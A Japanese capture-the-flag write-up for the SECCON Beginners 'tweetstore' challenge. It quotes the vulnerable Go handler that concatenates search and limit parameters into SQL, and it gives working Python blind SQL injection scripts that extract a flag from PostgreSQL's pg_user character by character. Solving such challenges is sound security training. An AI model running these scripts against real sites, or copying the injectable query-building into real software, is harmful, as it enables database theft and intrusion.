このサイトへ攻撃を行う。
ツイート一覧が表示されているサイト。search wordに文字列、limitに数字を入力することで絞り込みが可能。
とりあえずSQLインジェクションかなと思ってsearch wordに1' OR 1 = 1; --
と入力してみるとあっさり成功。
次にサーバーのソースコードを読んで見る。
// ...
func initialize() {
var err error
dbname := "ctf"
dbuser := os.Getenv("FLAG")
dbpass := "password"
connInfo := fmt.Sprintf("port=%d host=%s user=%s password=%s dbname=%s sslmode=disable", 5432, "db", dbuser, dbpass, dbname)
db, err = sql.Open("postgres", connInfo)
if err != nil {
log.Fatal(err)
}
}
// ...
どうやらデータベースのユーザー名がFLAGな模様。
func handler_index(w http.ResponseWriter, r *http.Request) {
// ...
search, ok := r.URL.Query()["search"]
if ok {
sql += " where text like '%" + strings.Replace(search[0], "'", "\\'", -1) + "%'"
}
sql += " order by tweeted_at desc"
limit, ok := r.URL.Query()["limit"]
if ok && (limit[0] != "") {
sql += " limit " + strings.Split(limit[0], ";")[0]
}
var data []Tweets
// ...
}
URLパラメーターのsearch
とlimit
を読み取って、そこからSQL文を組み立てている。
データベースのユーザー数をブラインドSQLインジェクションで探索してみる。
import requests
url = 'https://tweetstore.quals.beginners.seccon.jp'
# ユーザー数探索スクリプト
for index in range(0, 100):
sql = f'hoge\' OR (SELECT COUNT(*) FROM pg_user) = {index}; --'
payload = {
'search': sql,
'limit': '#'
}
response = requests.get(url, params=payload)
# レスポンスの長さで成功か失敗かを判断
if len(response.text) > 2000:
print(f'count: {index}')
break
結果、ユーザー数は2
だとわかった。2名しか居ないのでソートを昇順 or 降順にしてlimit 1すればユーザーを一つに絞ることができる。
(詳しくは書かないが、試行錯誤中に昇順にすることでFLAGのユーザーに絞ることができることがわかっている。)
次に、FLAGユーザーのユーザー名の長さを探索する。
import requests
url = 'https://tweetstore.quals.beginners.seccon.jp'
# FLAGの長さ探索スクリプト
for index in range(0, 100):
sql = f'hoge\' OR (SELECT LENGTH(usename) FROM pg_user ORDER BY usename ASC LIMIT 1) = {index}; --'
payload = {
'search': sql,
'limit': '#'
}
response = requests.get(url, params=payload)
if len(response.text) > 2000:
print(f'length: {index}')
break
結果は31
だった。ここからFLAGを一文字ずつ全探索していく。
SQL文中に'
を使用すると何故か失敗してしまうのでASCIIコードとして評価する。
import requests
url = 'https://tweetstore.quals.beginners.seccon.jp'
# FLAGの文字を一文字ずつ全探索するスクリプト
for index in range(1, 32): # 前述のスクリプトでFLAGの長さは31とわかっている
for char_number in range(48, 127):
sql = f'hoge\' OR ASCII(SUBSTR((SELECT usename FROM pg_user ORDER BY usename ASC LIMIT 1), {index}, 1)) = {char_number}; --'
payload = {
'search': sql,
'limit': '#'
}
response = requests.get(url, params=payload)
if len(response.text) > 2000:
print(chr(char_number), end='')
break
print()
これでFLAGを発見することができた。